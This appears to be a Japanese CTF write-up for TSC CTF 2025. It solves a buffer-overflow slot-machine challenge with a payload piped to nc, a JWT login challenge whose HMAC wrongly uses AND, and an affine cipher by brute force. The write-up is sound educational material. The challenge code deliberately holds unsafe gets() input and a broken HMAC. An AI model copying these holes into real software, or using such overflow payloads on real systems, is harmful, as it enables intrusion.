TSC CTF 2025 Writeup
Japanese なんか意外と時間かかったw そしたらここにあったwwww Japanese なんかAuthorの下が異様に長く,怪しかった. Japanese 攻撃ポイント 攻撃手法 Flagが取れる条件 1を選択し, まずは,AとBを求める.
Welcome
Please Join Our Discord!!!
想要我的 Flag 嗎?想要的話就送給你吧!
自己去找吧,我把它埋藏在那裡了 於是...許多人爭相前往「TSCCTF Discord」,
並追逐著這個夢想 所以,當時的年代可以說是一個「大資安時代」!
私の旗が欲しいですか?欲しかったらあげますよ!
自分で探してください。私が埋めたんです。それで...多くの人が「TSCCTF Discord」に殺到しました。
そしてこの夢を追いかける、当時の時代は「サイバーセキュリティ大時代」とも言える時代でした!
staffがstartのタイミングでメッセージ残していると思ったが,,,TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}
Give you a free flag
這裡據說藏了個 Flag
ここには旗が隠されていると言われています。
マウスカーソルで選択すると見えました.Pwn
gamble_bad_bad
就
拉霸機
非常好玩的拉霸機
你有辦法贏得大獎嗎?
すぐに
スロットマシン
とても楽しいスロットマシン
あなたにはジャックポットを勝ち取る力がありますか?
//main.cpp
#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;
void jackpot() {
char flag[50];
FILE *f = fopen("/home/gamble/flag.txt", "r");
if (f == NULL) {
printf("錯誤:找不到 flag 檔案\n");
return;
}
fgets(flag, 50, f);
fclose(f);
printf("恭喜你中了 777 大獎!\n");
printf("Flag 是:%s", flag);
}
struct GameState {
char buffer[20];
char jackpot_value[4];
} game;
void spin() {
strcpy(game.jackpot_value, "6A6");
printf("輸入你的投注金額:");
gets(game.buffer);
printf("這次的結果為:%s\n", game.jackpot_value);
if (strcmp(game.jackpot_value, "777") == 0) {
jackpot();
} else {
printf("很遺憾,你沒中獎,再試一次吧!\n");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n");
spin();
return 0;
}
main.cpp
の脆弱性
gets
関数が使用されており,入力サイズの制限がないgame.buffer
は20バイトしか確保されていないため,長い入力によって隣接するメモリ領域(game.jackpot_value
)が上書きされる可能性がある
1. game.jackpot_value
を "777" に書き換える
2. strcmp(game.jackpot_value, "777") == 0
を満たして,jackpot()
を呼び出す
game.buffer
の20バイトを埋め,その後に"777"
を配置する$ python3 -c "print('A' * 20 + '777')" | nc 172.31.0.2 1337
歡迎來到拉霸機!試著獲得 777 大獎吧!
輸入你的投注金額:這次的結果為:777
恭喜你中了 777 大獎!
Flag 是:TSC{Gamb1e_Very_bad_bad_but_}
TSC{Gamb1e_Very_bad_bad_but_}
Crypto
Very simple Login
nc 172.31.2.2 36900
# server.py
import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG
def xor(message0: bytes, message1: bytes) -> bytes:
return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))
def sha256(message: bytes) -> bytes:
return hashlib.sha256(message).digest()
def hmac_sha256(key: bytes, message: bytes) -> bytes:
blocksize = 64
if len(key) > blocksize:
key = sha256(key)
if len(key) < blocksize:
key = key + b'\x00' * (blocksize - len(key))
o_key_pad = xor(b'\x5c' * blocksize, key)
i_key_pad = xor(b'\x3c' * blocksize, key)
return sha256(o_key_pad + sha256(i_key_pad) + message)
def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {'sub': data, 'exp': exp}
header = base64.urlsafe_b64encode(json.dumps(header).encode())
payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
signature = hmac_sha256(key, header + b'.' + payload)
signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
return header + b'.' + payload + b'.' + signature
def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
header_payload, signature = jwt.rsplit(b'.', 1)
sig = hmac_sha256(key, header_payload)
sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
if sig != signature:
raise ValueError('JWT error')
try:
header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
header = json.loads(base64.urlsafe_b64decode(header))
payload = json.loads(base64.urlsafe_b64decode(payload))
if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
raise ValueError('JWT error')
if int(payload.get('exp')) < exp:
raise ValueError('JWT error')
except Exception:
raise ValueError('JWT error')
return payload.get('sub')
def register(username: str, key: bytes):
if re.fullmatch(r'[A-z0-9]+', username) is None:
raise ValueError("'username' format error.")
return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)
def login(token: bytes, key: bytes):
userdata = sha256_jwt_loads(token, int(time.time()), key)
return userdata['username']
def menu():
for _ in range(32):
print('==================')
print('1. Register')
print('2. Login')
print('3. Exit')
try:
choice = int(input('> '))
except Exception:
pass
if 1 <= choice <= 3:
return choice
print('Error choice !', end='\n\n')
sys.exit()
def main():
key = os.urandom(32)
for _ in range(32):
choice = menu()
if choice == 1:
username = input('Username > ')
try:
token = register(username, key)
except Exception:
print('Username Error !', end='\n\n')
continue
print(f'Token : {token.hex()}', end='\n\n')
if choice == 2:
token = bytes.fromhex(input('Token > '))
try:
username = login(token, key)
except Exception:
print('Token Error !', end='\n\n')
if username == 'Admin':
print(f'FLAG : {FLAG}', end='\n\n')
sys.exit()
else:
print('FLAG : TSC{???}', end='\n\n')
if choice == 3:
sys.exit()
if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()
以下のif文がTrueであればいいので,
username
はAdmin
とすればよい.if username == 'Admin':
print(f'FLAG : {FLAG}', end='\n\n')
$ nc 172.31.2.2 36900
==================
1. Register
2. Login
3. Exit
> 1
Username > Admin
Token : 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d444d334d54557a66513d3d2e566a4b5a68446857526464334c6f3877674e7154664b636f5057655f795a5a795235596b30614b546d3930
Username
はAdmin
で登録.
そうするとToken
が作成される.
この後は,TokenをLoginで用いる.==================
1. Register
2. Login
3. Exit
> 2
Token > 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d444d334d54557a66513d3d2e566a4b5a68446857526464334c6f3877674e7154664b636f5057655f795a5a795235596b30614b546d3930
FLAG : TSC{Wr0nG_HM4C_7O_L3A_!!!}
TSC{Wr0nG_HM4C_7O_L3A_!!!}
Classic
The classic never fade.
# flag
o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"
# chal.py
import os
import string
import secrets
flag = os.getenv("FLAG") or "TSC{test_flag}"
charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)
enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)
そのあとは,AとBを使って復号する.import string
enc = 'o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"'
charset = string.digits + string.ascii_letters + string.punctuation
charset_len = len(charset)
def decrypt(enc, A, B):
dec = []
for c in enc:
enc_index = charset.find(c)
if enc_index == -1:
return None
orig_index = (enc_index - B) * pow(A, -1, charset_len) % charset_len
dec.append(charset[orig_index])
return ''.join(dec)
for A in range(1, charset_len):
if len(set((A * x) % charset_len for x in range(charset_len))) != charset_len:
continue
for B in range(charset_len):
flag = decrypt(enc, A, B)
if flag and flag.startswith("TSC{"):
print(f" A: {A}, B: {B}, flag: {flag}")
break
$ python3 solved.py
A: 29, B: 27, flag: TSC{c14551c5_c1ph3r5_4r5_fr4g17e}
TSC{c14551c5_c1ph3r5_4r5_fr4g17e}